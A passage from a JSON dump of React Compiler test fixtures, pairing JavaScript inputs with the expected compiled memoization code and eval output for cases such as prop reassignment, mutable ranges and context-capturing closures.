\"L^]w\\\\\\\\T\\\\\\\\qrGmqrlQyrvBgf\\\\\\\\inuRdkEqwVPwixiriYGSZmKJf]E]RdT{N[WyVPiEJIbdFzvDohJV[BV`H[[K^xoy[HOGKDqVzUJ^h\"\n            }\n          >\n            iawyneijcgamsfgrrjyvhjrrqvzexxwenxqoknnilmfloafyvnvkqbssqnxnexqvtcpvjysaiovjxyqrorqskfph\n          </c14>\n        ) : v16.v17(\"pyorztRC]EJzVuP^e\") ? (\n          <c14\n            c15={\n              \"CRinMqvmOknWRAKERI]RBzB_LXGKQe{SUpoN[\\\\\\\\gL[`bLMOhvFqDVVMNOdY\"\n            }\n          >\n            goprinbjmmjhfserfuqyluxcewpyjihektogc\n          </c14>\n        ) : (\n          <c14 c15={\"H\\\\\\\\\\\\\\\\GAcTc\\\\\\\\lfGMW[yHriCpvW`w]niSIKj\\\\\\\\kdgFI\"}>\n            yejarlvudihqdrdgpvahovggdnmgnueedxpbwbkdvvkdhqwrtoiual\n          </c14>\n        )}\n        hflmn\n      </ComponentC>\n    );\n    $[0] = v1;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const vb = t1;\n\n  return vb;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-propagate-type-of-ternary-nested.js",
    "content": "function V0({v1}: V2<{v1?: V3}>): V2b.V2a {\n  const v4 = v5(V6.v7({v8: V9.va}));\n  const vb = (\n    <ComponentC cd=\"TxqUy\" ce=\"oh`]uc\" cf=\"Bdbo\" c10={!V9.va && v11.v12}>\n      gmhubcw\n      {v1 === V3.V13 ? (\n        <c14 c15=\"L^]w\\\\T\\\\qrGmqrlQyrvBgf\\\\inuRdkEqwVPwixiriYGSZmKJf]E]RdT{N[WyVPiEJIbdFzvDohJV[BV`H[[K^xoy[HOGKDqVzUJ^h\">\n          iawyneijcgamsfgrrjyvhjrrqvzexxwenxqoknnilmfloafyvnvkqbssqnxnexqvtcpvjysaiovjxyqrorqskfph\n        </c14>\n      ) : v16.v17('pyorztRC]EJzVuP^e') ? (\n        <c14 c15=\"CRinMqvmOknWRAKERI]RBzB_LXGKQe{SUpoN[\\\\gL[`bLMOhvFqDVVMNOdY\">\n          goprinbjmmjhfserfuqyluxcewpyjihektogc\n        </c14>\n      ) : (\n        <c14 c15=\"H\\\\\\\\GAcTc\\\\lfGMW[yHriCpvW`w]niSIKj\\\\kdgFI\">\n          yejarlvudihqdrdgpvahovggdnmgnueedxpbwbkdvvkdhqwrtoiual\n        </c14>\n      )}\n      hflmn\n    </ComponentC>\n  );\n  return vb;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-reassign-props.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify, useIdentity} from 'shared-runtime';\n\nfunction Component({other, ...props}, ref) {\n  [props, ref] = useIdentity([props, ref]);\n  return <Stringify props={props} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 'hello', children: <div>Hello</div>}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify, useIdentity } from \"shared-runtime\";\n\nfunction Component(t0, ref) {\n  const $ = _c(7);\n  let props;\n  if ($[0] !== t0) {\n    let { other, ...t1 } = t0;\n    props = t1;\n    $[0] = t0;\n    $[1] = props;\n  } else {\n    props = $[1];\n  }\n  let t1;\n  if ($[2] !== props || $[3] !== ref) {\n    t1 = [props, ref];\n    $[2] = props;\n    $[3] = ref;\n    $[4] = t1;\n  } else {\n    t1 = $[4];\n  }\n  [props, ref] = useIdentity(t1);\n  let t2;\n  if ($[5] !== props) {\n    t2 = <Stringify props={props} />;\n    $[5] = props;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 0, b: \"hello\", children: <div>Hello</div> }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"props\":{\"a\":0,\"b\":\"hello\",\"children\":{\"type\":\"div\",\"key\":null,\"props\":{\"children\":\"Hello\"},\"_owner\":\"[[ cyclic ref *3 ]]\",\"_store\":{}}}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-reassign-props.js",
    "content": "import {Stringify, useIdentity} from 'shared-runtime';\n\nfunction Component({other, ...props}, ref) {\n  [props, ref] = useIdentity([props, ref]);\n  return <Stringify props={props} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 'hello', children: <div>Hello</div>}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-reassign-to-variable-without-mutable-range.expect.md",
    "content": "\n## Input\n\n```javascript\n// @debug\nfunction Component(a, b) {\n  let x = [];\n  let y = [];\n  let z = foo(a);\n  if (FLAG) {\n    x = bar(z);\n    y = baz(b);\n  }\n  return [x, y];\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @debug\nfunction Component(a, b) {\n  const $ = _c(11);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  let x = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = [];\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  let y = t1;\n  if ($[2] !== a || $[3] !== b) {\n    const z = foo(a);\n    if (FLAG) {\n      x = bar(z);\n      let t2;\n      if ($[6] !== b) {\n        t2 = baz(b);\n        $[6] = b;\n        $[7] = t2;\n      } else {\n        t2 = $[7];\n      }\n      y = t2;\n    }\n    $[2] = a;\n    $[3] = b;\n    $[4] = x;\n    $[5] = y;\n  } else {\n    x = $[4];\n    y = $[5];\n  }\n  let t2;\n  if ($[8] !== x || $[9] !== y) {\n    t2 = [x, y];\n    $[8] = x;\n    $[9] = y;\n    $[10] = t2;\n  } else {\n    t2 = $[10];\n  }\n  return t2;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-reassign-to-variable-without-mutable-range.js",
    "content": "// @debug\nfunction Component(a, b) {\n  let x = [];\n  let y = [];\n  let z = foo(a);\n  if (FLAG) {\n    x = bar(z);\n    y = baz(b);\n  }\n  return [x, y];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-ref-mutable-range.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify, identity, mutate, CONST_TRUE} from 'shared-runtime';\n\nfunction Foo(props, ref) {\n  const value = {};\n  if (CONST_TRUE) {\n    mutate(value);\n    return <Stringify ref={ref} />;\n  }\n  mutate(value);\n  if (CONST_TRUE) {\n    return <Stringify ref={identity(ref)} />;\n  }\n  return value;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}, {current: 'fake-ref-object'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify, identity, mutate, CONST_TRUE } from \"shared-runtime\";\n\nfunction Foo(props, ref) {\n  const $ = _c(7);\n  let t0;\n  let value;\n  if ($[0] !== ref) {\n    t0 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      value = {};\n      if (CONST_TRUE) {\n        mutate(value);\n        t0 = <Stringify ref={ref} />;\n        break bb0;\n      }\n\n      mutate(value);\n    }\n    $[0] = ref;\n    $[1] = t0;\n    $[2] = value;\n  } else {\n    t0 = $[1];\n    value = $[2];\n  }\n  if (t0 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t0;\n  }\n  if (CONST_TRUE) {\n    let t1;\n    if ($[3] !== ref) {\n      t1 = identity(ref);\n      $[3] = ref;\n      $[4] = t1;\n    } else {\n      t1 = $[4];\n    }\n    let t2;\n    if ($[5] !== t1) {\n      t2 = <Stringify ref={t1} />;\n      $[5] = t1;\n      $[6] = t2;\n    } else {\n      t2 = $[6];\n    }\n    return t2;\n  }\n\n  return value;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}, { current: \"fake-ref-object\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"ref\":{\"current\":\"fake-ref-object\"}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-ref-mutable-range.tsx",
    "content": "import {Stringify, identity, mutate, CONST_TRUE} from 'shared-runtime';\n\nfunction Foo(props, ref) {\n  const value = {};\n  if (CONST_TRUE) {\n    mutate(value);\n    return <Stringify ref={ref} />;\n  }\n  mutate(value);\n  if (CONST_TRUE) {\n    return <Stringify ref={identity(ref)} />;\n  }\n  return value;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}, {current: 'fake-ref-object'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-renaming-conflicting-decls.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false\nimport {Stringify, identity, makeArray, toJSON} from 'shared-runtime';\nimport {useMemo} from 'react';\n\nfunction Component(props) {\n  const propsString = useMemo(() => toJSON(props), [props]);\n  if (propsString.length <= 2) {\n    return null;\n  }\n\n  const linkProps = {\n    url: identity(propsString),\n  };\n  const x = {};\n\n  // reactive scope ends at makeArray, as it is inferred as maybeMutate\n  return (\n    <Stringify\n      link={linkProps}\n      val1={[1]}\n      val2={[2]}\n      val3={[3]}\n      val4={[4]}\n      val5={[5]}>\n      {makeArray(x, 2)}\n    </Stringify>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{val: 2}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false\nimport { Stringify, identity, makeArray, toJSON } from \"shared-runtime\";\nimport { useMemo } from \"react\";\n\nfunction Component(props) {\n  const $ = _c(10);\n  let t0;\n  let t1;\n  if ($[0] !== props) {\n    t1 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      const propsString = toJSON(props);\n      if (propsString.length <= 2) {\n        t1 = null;\n        break bb0;\n      }\n      t0 = identity(propsString);\n    }\n    $[0] = props;\n    $[1] = t0;\n    $[2] = t1;\n  } else {\n    t0 = $[1];\n    t1 = $[2];\n  }\n  if (t1 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t1;\n  }\n  let t2;\n  if ($[3] !== t0) {\n    const linkProps = { url: t0 };\n    const x = {};\n    let t3;\n    let t4;\n    let t5;\n    let t6;\n    let t7;\n    if ($[5] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t3 = [1];\n      t4 = [2];\n      t5 = [3];\n      t6 = [4];\n      t7 = [5];\n      $[5] = t3;\n      $[6] = t4;\n      $[7] = t5;\n      $[8] = t6;\n      $[9] = t7;\n    } else {\n      t3 = $[5];\n      t4 = $[6];\n      t5 = $[7];\n      t6 = $[8];\n      t7 = $[9];\n    }\n    t2 = (\n      <Stringify\n        link={linkProps}\n        val1={t3}\n        val2={t4}\n        val3={t5}\n        val4={t6}\n        val5={t7}\n      >\n        {makeArray(x, 2)}\n      </Stringify>\n    );\n    $[3] = t0;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ val: 2 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"link\":{\"url\":\"{\\\"val\\\":2}\"},\"val1\":[1],\"val2\":[2],\"val3\":[3],\"val4\":[4],\"val5\":[5],\"children\":[{},2]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-renaming-conflicting-decls.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false\nimport {Stringify, identity, makeArray, toJSON} from 'shared-runtime';\nimport {useMemo} from 'react';\n\nfunction Component(props) {\n  const propsString = useMemo(() => toJSON(props), [props]);\n  if (propsString.length <= 2) {\n    return null;\n  }\n\n  const linkProps = {\n    url: identity(propsString),\n  };\n  const x = {};\n\n  // reactive scope ends at makeArray, as it is inferred as maybeMutate\n  return (\n    <Stringify\n      link={linkProps}\n      val1={[1]}\n      val2={[2]}\n      val3={[3]}\n      val4={[4]}\n      val5={[5]}>\n      {makeArray(x, 2)}\n    </Stringify>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{val: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-retain-source-when-bailout.expect.md",
    "content": "\n## Input\n\n```javascript\n// @panicThreshold:\"none\"\nimport {useNoAlias} from 'shared-runtime';\n\nconst cond = true;\nfunction useFoo(props) {\n  props.x = 10;\n  if (cond) bar();\n  return useNoAlias({});\n\n  function bar() {\n    console.log('bar called');\n    return 5;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\n// @panicThreshold:\"none\"\nimport { useNoAlias } from \"shared-runtime\";\n\nconst cond = true;\nfunction useFoo(props) {\n  props.x = 10;\n  if (cond) bar();\n  return useNoAlias({});\n\n  function bar() {\n    console.log(\"bar called\");\n    return 5;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) {}\nlogs: ['bar called']"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-retain-source-when-bailout.js",
    "content": "// @panicThreshold:\"none\"\nimport {useNoAlias} from 'shared-runtime';\n\nconst cond = true;\nfunction useFoo(props) {\n  props.x = 10;\n  if (cond) bar();\n  return useNoAlias({});\n\n  function bar() {\n    console.log('bar called');\n    return 5;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-returned-inner-fn-mutates-context.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\n/**\n * Example showing that returned inner function expressions should not be\n * typed with `freeze` effects.\n */\nfunction Foo({a, b}) {\n  'use memo';\n  const obj = {};\n  const updaterFactory = () => {\n    /**\n     * This returned function expression *is* a local value. But it might (1)\n     * capture and mutate its context environment and (2) be called during\n     * render.\n     * Typing it with `freeze` effects would be incorrect as it would mean\n     * inferring that calls to updaterFactory()() do not mutate its captured\n     * context.\n     */\n    return newValue => {\n      obj.value = newValue;\n      obj.a = a;\n    };\n  };\n\n  const updater = updaterFactory();\n  updater(b);\n  return <Stringify cb={obj} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{a: 1, b: 2}],\n  sequentialRenders: [\n    {a: 1, b: 2},\n    {a: 1, b: 3},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\n/**\n * Example showing that returned inner function expressions should not be\n * typed with `freeze` effects.\n */\nfunction Foo(t0) {\n  \"use memo\";\n  const $ = _c(3);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a || $[1] !== b) {\n    const obj = {};\n    const updaterFactory = () => (newValue) => {\n      obj.value = newValue;\n      obj.a = a;\n    };\n    const updater = updaterFactory();\n    updater(b);\n    t1 = <Stringify cb={obj} shouldInvokeFns={true} />;\n    $[0] = a;\n    $[1] = b;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ a: 1, b: 2 }],\n  sequentialRenders: [\n    { a: 1, b: 2 },\n    { a: 1, b: 3 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"cb\":{\"value\":2,\"a\":1},\"shouldInvokeFns\":true}</div>\n<div>{\"cb\":{\"value\":3,\"a\":1},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-returned-inner-fn-mutates-context.js",
    "content": "import {Stringify} from 'shared-runtime';\n\n/**\n * Example showing that returned inner function expressions should not be\n * typed with `freeze` effects.\n */\nfunction Foo({a, b}) {\n  'use memo';\n  const obj = {};\n  const updaterFactory = () => {\n    /**\n     * This returned function expression *is* a local value. But it might (1)\n     * capture and mutate its context environment and (2) be called during\n     * render.\n     * Typing it with `freeze` effects would be incorrect as it would mean\n     * inferring that calls to updaterFactory()() do not mutate its captured\n     * context.\n     */\n    return newValue => {\n      obj.value = newValue;\n      obj.a = a;\n    };\n  };\n\n  const updater = updaterFactory();\n  updater(b);\n  return <Stringify cb={obj} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{a: 1, b: 2}],\n  sequentialRenders: [\n    {a: 1, b: 2},\n    {a: 1, b: 3},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-returned-inner-fn-reassigns-context.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeArray, Stringify, useIdentity} from 'shared-runtime';\n\n/**\n * Example showing that returned inner function expressions should not be\n * typed with `freeze` effects.\n * Also see repro-returned-inner-fn-mutates-context\n */\nfunction Foo({b}) {\n  'use memo';\n\n  const fnFactory = () => {\n    /**\n     * This returned function expression *is* a local value. But it might (1)\n     * capture and mutate its context environment and (2) be called during\n     * render.\n     * Typing it with `freeze` effects would be incorrect as it would mean\n     * inferring that calls to updaterFactory()() do not mutate its captured\n     * context.\n     */\n    return () => {\n      myVar = () => console.log('a');\n    };\n  };\n  let myVar = () => console.log('b');\n  useIdentity();\n\n  const fn = fnFactory();\n  const arr = makeArray(b);\n  fn(arr);\n  return <Stringify cb={myVar} value={arr} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{b: 1}],\n  sequentialRenders: [{b: 1}, {b: 2}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeArray, Stringify, useIdentity } from \"shared-runtime\";\n\n/**\n * Example showing that returned inner function expressions should not be\n * typed with `freeze` effects.\n * Also see repro-returned-inner-fn-mutates-context\n */\nfunction Foo(t0) {\n  \"use memo\";\n  const $ = _c(3);\n  const { b } = t0;\n\n  const fnFactory = () => () => {\n    myVar = _temp;\n  };\n  let myVar = _temp2;\n  useIdentity();\n\n  const fn = fnFactory();\n  const arr = makeArray(b);\n  fn(arr);\n  let t1;\n  if ($[0] !== arr || $[1] !== myVar) {\n    t1 = <Stringify cb={myVar} value={arr} shouldInvokeFns={true} />;\n    $[0] = arr;\n    $[1] = myVar;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\nfunction _temp2() {\n  return console.log(\"b\");\n}\nfunction _temp() {\n  return console.log(\"a\");\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ b: 1 }],\n  sequentialRenders: [{ b: 1 }, { b: 2 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"cb\":{\"kind\":\"Function\"},\"value\":[1],\"shouldInvokeFns\":true}</div>\n<div>{\"cb\":{\"kind\":\"Function\"},\"value\":[2],\"shouldInvokeFns\":true}</div>\nlogs: ['a','a']"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-returned-inner-fn-reassigns-context.js",
    "content": "import {makeArray, Stringify, useIdentity} from 'shared-runtime';\n\n/**\n * Example showing that returned inner function expressions should not be\n * typed with `freeze` effects.\n * Also see repro-returned-inner-fn-mutates-context\n */\nfunction Foo({b}) {\n  'use memo';\n\n  const fnFactory = () => {\n    /**\n     * This returned function expression *is* a local value. But it might (1)\n     * capture and mutate its context environment and (2) be called during\n     * render.\n     * Typing it with `freeze` effects would be incorrect as it would mean\n     * inferring that calls to updaterFactory()() do not mutate its captured\n     * context.\n     */\n    return () => {\n      myVar = () => console.log('a');\n    };\n  };\n  let myVar = () => console.log('b');\n  useIdentity();\n\n  const fn = fnFactory();\n  const arr = makeArray(b);\n  fn(arr);\n  return <Stringify cb={myVar} value={arr} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{b: 1}],\n  sequentialRenders: [{b: 1}, {b: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-scope-missing-mutable-range.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction HomeDiscoStoreItemTileRating(props) {\n  const item = useFragment();\n  let count = 0;\n  const aggregates = item?.aggregates || [];\n  aggregates.forEach(aggregate => {\n    count += aggregate.count || 0;\n  });\n\n  return <Text>{count}</Text>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction HomeDiscoStoreItemTileRating(props) {\n  const $ = _c(4);\n  const item = useFragment();\n  let count;\n  if ($[0] !== item?.aggregates) {\n    count = 0;\n    const aggregates = item?.aggregates || [];\n    aggregates.forEach((aggregate) => {\n      count = count + (aggregate.count || 0);\n      count;\n    });\n    $[0] = item?.aggregates;\n    $[1] = count;\n  } else {\n    count = $[1];\n  }\n  let t0;\n  if ($[2] !== count) {\n    t0 = <Text>{count}</Text>;\n    $[2] = count;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-scope-missing-mutable-range.js",
    "content": "function HomeDiscoStoreItemTileRating(props) {\n  const item = useFragment();\n  let count = 0;\n  const aggregates = item?.aggregates || [];\n  aggregates.forEach(aggregate => {\n    count += aggregate.count || 0;\n  });\n\n  return <Text>{count}</Text>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-separate-memoization-due-to-callback-capturing.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nimport {ValidateMemoization} from 'shared-runtime';\n\nconst Codes = {\n  en: {name: 'English'},\n  ja: {name: 'Japanese'},\n  ko: {name: 'Korean'},\n  zh: {name: 'Chinese'},\n};\n\nfunction Component(a) {\n  let keys;\n  if (a) {\n    keys = Object.keys(Codes);\n  } else {\n    return null;\n  }\n  const options = keys.map(code => {\n    // In the old inference model, `keys` was assumed to be mutated bc\n    // this callback captures its input into its output, and the return\n    // is treated as a mutation since it's a function expression. The new\n    // model understands that `code` is captured but not mutated.\n    const country = Codes[code];\n    return {\n      name: country.name,\n      code,\n    };\n  });\n  return (\n    <>\n      <ValidateMemoization inputs={[]} output={keys} onlyCheckCompiled={true} />\n      <ValidateMemoization\n        inputs={[]}\n        output={options}\n        onlyCheckCompiled={true}\n      />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: false}],\n  sequentialRenders: [\n    {a: false},\n    {a: true},\n    {a: true},\n    {a: false},\n    {a: true},\n    {a: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nimport { ValidateMemoization } from \"shared-runtime\";\n\nconst Codes = {\n  en: { name: \"English\" },\n  ja: { name: \"Japanese\" },\n  ko: { name: \"Korean\" },\n  zh: { name: \"Chinese\" },\n};\n\nfunction Component(a) {\n  const $ = _c(4);\n  let keys;\n  if (a) {\n    let t0;\n    if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t0 = Object.keys(Codes);\n      $[0] = t0;\n    } else {\n      t0 = $[0];\n    }\n    keys = t0;\n  } else {\n    return null;\n  }\n  let t0;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = keys.map(_temp);\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const options = t0;\n  let t1;\n  if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = (\n      <ValidateMemoization inputs={[]} output={keys} onlyCheckCompiled={true} />\n    );\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  let t2;\n  if ($[3] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t2 = (\n      <>\n        {t1}\n        <ValidateMemoization\n          inputs={[]}\n          output={options}\n          onlyCheckCompiled={true}\n        />\n      </>\n    );\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  return t2;\n}\nfunction _temp(code) {\n  const country = Codes[code];\n  return { name: country.name, code };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: false }],\n  sequentialRenders: [\n    { a: false },\n    { a: true },\n    { a: true },\n    { a: false },\n    { a: true },\n    { a: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[],\"output\":[\"en\",\"ja\",\"ko\",\"zh\"]}</div><div>{\"inputs\":[],\"output\":[{\"name\":\"English\",\"code\":\"en\"},{\"name\":\"Japanese\",\"code\":\"ja\"},{\"name\":\"Korean\",\"code\":\"ko\"},{\"name\":\"Chinese\",\"code\":\"zh\"}]}</div>\n<div>{\"inputs\":[],\"output\":[\"en\",\"ja\",\"ko\",\"zh\"]}</div><div>{\"inputs\":[],\"output\":[{\"name\":\"English\",\"code\":\"en\"},{\"name\":\"Japanese\",\"code\":\"ja\"},{\"name\":\"Korean\",\"code\":\"ko\"},{\"name\":\"Chinese\",\"code\":\"zh\"}]}</div>\n<div>{\"inputs\":[],\"output\":[\"en\",\"ja\",\"ko\",\"zh\"]}</div><div>{\"inputs\":[],\"output\":[{\"name\":\"English\",\"code\":\"en\"},{\"name\":\"Japanese\",\"code\":\"ja\"},{\"name\":\"Korean\",\"code\":\"ko\"},{\"name\":\"Chinese\",\"code\":\"zh\"}]}</div>\n<div>{\"inputs\":[],\"output\":[\"en\",\"ja\",\"ko\",\"zh\"]}</div><div>{\"inputs\":[],\"output\":[{\"name\":\"English\",\"code\":\"en\"},{\"name\":\"Japanese\",\"code\":\"ja\"},{\"name\":\"Korean\",\"code\":\"ko\"},{\"name\":\"Chinese\",\"code\":\"zh\"}]}</div>\n<div>{\"inputs\":[],\"output\":[\"en\",\"ja\",\"ko\",\"zh\"]}</div><div>{\"inputs\":[],\"output\":[{\"name\":\"English\",\"code\":\"en\"},{\"name\":\"Japanese\",\"code\":\"ja\"},{\"name\":\"Korean\",\"code\":\"ko\"},{\"name\":\"Chinese\",\"code\":\"zh\"}]}</div>\n<div>{\"inputs\":[],\"output\":[\"en\",\"ja\",\"ko\",\"zh\"]}</div><div>{\"inputs\":[],\"output\":[{\"name\":\"English\",\"code\":\"en\"},{\"name\":\"Japanese\",\"code\":\"ja\"},{\"name\":\"Korean\",\"code\":\"ko\"},{\"name\":\"Chinese\",\"code\":\"zh\"}]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-separate-memoization-due-to-callback-capturing.js",
    "content": "// @enableNewMutationAliasingModel\nimport {ValidateMemoization} from 'shared-runtime';\n\nconst Codes = {\n  en: {name: 'English'},\n  ja: {name: 'Japanese'},\n  ko: {name: 'Korean'},\n  zh: {name: 'Chinese'},\n};\n\nfunction Component(a) {\n  let keys;\n  if (a) {\n    keys = Object.keys(Codes);\n  } else {\n    return null;\n  }\n  const options = keys.map(code => {\n    // In the old inference model, `keys` was assumed to be mutated bc\n    // this callback captures its input into its output, and the return\n    // is treated as a mutation since it's a function expression. The new\n    // model understands that `code` is captured but not mutated.\n    const country = Codes[code];\n    return {\n      name: country.name,\n      code,\n    };\n  });\n  return (\n    <>\n      <ValidateMemoization inputs={[]} output={keys} onlyCheckCompiled={true} />\n      <ValidateMemoization\n        inputs={[]}\n        output={options}\n        onlyCheckCompiled={true}\n      />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: false}],\n  sequentialRenders: [\n    {a: false},\n    {a: true},\n    {a: true},\n    {a: false},\n    {a: true},\n    {a: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-separate-scopes-for-divs.expect.md",
